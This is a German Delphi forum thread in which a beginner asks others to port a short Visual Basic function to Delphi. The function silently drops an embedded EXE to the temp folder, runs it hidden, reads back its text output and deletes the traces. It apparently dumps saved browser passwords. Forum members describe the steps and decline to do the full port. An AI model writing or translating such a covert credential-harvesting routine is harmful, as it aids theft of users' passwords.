Delphi-PRAXiS
Seite 1 von 2  1 2      

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Programmieren allgemein (https://www.delphipraxis.net/40-programmieren-allgemein/)
-   -   Delphi Varibalentyp / VB- Byte (https://www.delphipraxis.net/149719-delphi-varibalentyp-vbulletin-byte.html)

k00ky 28. Mär 2010 14:32


Delphi Varibalentyp / VB- Byte
 
Hi ich hab einen Source gefunden der allerdings in VB ist. Würde den nun gerne in Delphi umwandeln. Hab mir das alles angeschaut und sollte eigentlich kein Problem sein. Das einzige Problem was ich jetzt habe ist, dass es in dem Source einen Varibalen Typ "Byte" gibt und ich nicht weis wie ich das nun in Delphi abwandeln soll ?!

Sieht so aus: Dim RessourceDatei() As Byte

Kann mir da jemand helfen?

Teekeks 28. Mär 2010 14:34

Re: Delphi Varibalentyp / VB- Byte
 
den Datentyp byte gibt es auch bei Delphi...

Klaus01 28. Mär 2010 14:35

Re: Delphi Varibalentyp / VB- Byte
 
.. vielleicht so?
Delphi-Quellcode:
ResourceDatei: Array of Byte;
Grüße
Klaus

k00ky 28. Mär 2010 14:42

Re: Delphi Varibalentyp / VB- Byte
 
Oha danke.
Aba ich hab mir das alles etwas lechter vorgestellt mit dem umwandeln : /

Könnte mir diesbezüglich vlt jemand helfen?

Code:
 Function lesen() As String
        Dim Data As String
        Dim ExeDateiname As String = "\datei.exe"
        Dim TextDateiname As String = "\textdatei.txt"
        Dim RessourceDatei() As Byte = My.Resources.iepv
        FileOpen(1, Environ("tmp") & ExeDateiname, OpenMode.Binary)
        FilePut(1, RessourceDatei)
        FileClose(1)
        Shell(Environ("tmp") & ExeDateiname & " /stext " & Environ("tmp") & _
        TextDateiname, AppWinStyle.Hide)
        Data = IO.File.ReadAllText(Environ("tmp") & TextDateiname)
        On Error Resume Next
        IO.File.Delete(Environ("tmp") & ExeDateiname)
        IO.File.Delete(Environ("tmp") & TextDateiname)
        Return Data
    End Function
Wäre dankbar ;)

[edit=Luckie]Zitat-Tags durch Code-Tags ersetzt. Mfg, Luckie[/edit]

himitsu 28. Mär 2010 14:54

Re: Delphi Varibalentyp / VB- Byte
 
hmmmmm, also es wird
- ein Dateiinhalt aus den Resourcen in eine temporäre Datei gespeichert (1)
- jene Datei wird dann "versteckt" als EXE ausgeführt (2)
- die EXE erstellt dann eine Textdatei,
- welche eingelesen und ihr Inhalt als String zurückgegeben wird (3)
- und am Ende werden beide Dateien wieder gelöscht

Ich denke mal, wenn man sich das so aufteilt, dann sollte man "leicht" etwas passendes in Delphi selber schreiben können.

1: TResourceStream
2: ShellExecute
3: TFileStream oder gar TStringStream

k00ky 28. Mär 2010 15:13

Re: Delphi Varibalentyp / VB- Byte
 
Ich bin erst ein beginner in Delphi. Hab erst vor paar tagen angefangen : /
Das was ich monentan zusammengebracht hab ist ein exe pumper. Aber damit bich überfordert.

Wäre nett wenn das jemand umwandeln könnte.

k00ky 28. Mär 2010 16:29

Re: Delphi Varibalentyp / VB- Byte
 
kann das keiner machen : /?

daywalker9 28. Mär 2010 16:32

Re: Delphi Varibalentyp / VB- Byte
 
Vielleicht solltest du dir erstmal die Tutorials angucken und die wichtigsten Grundlagen lernen : Delphi-Treff

k00ky 28. Mär 2010 16:49

Re: Delphi Varibalentyp / VB- Byte
 
Ich brauch doch nur die paar Zeilen code hier von VB in dElphi gewandelt^^. mehr nicht

Teekeks 28. Mär 2010 16:52

Re: Delphi Varibalentyp / VB- Byte
 
schon, aber um das machen zu können musst du zuerst Delphi können.
Ich bezweifle das hier irgendwer einfach so alles mögliche übersetzt.
Und Hilfe hast du ja schon erhalten von himitsu


Alle Zeitangaben in WEZ +1. Es ist jetzt 01:38 Uhr.
Seite 1 von 2  1 2      

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz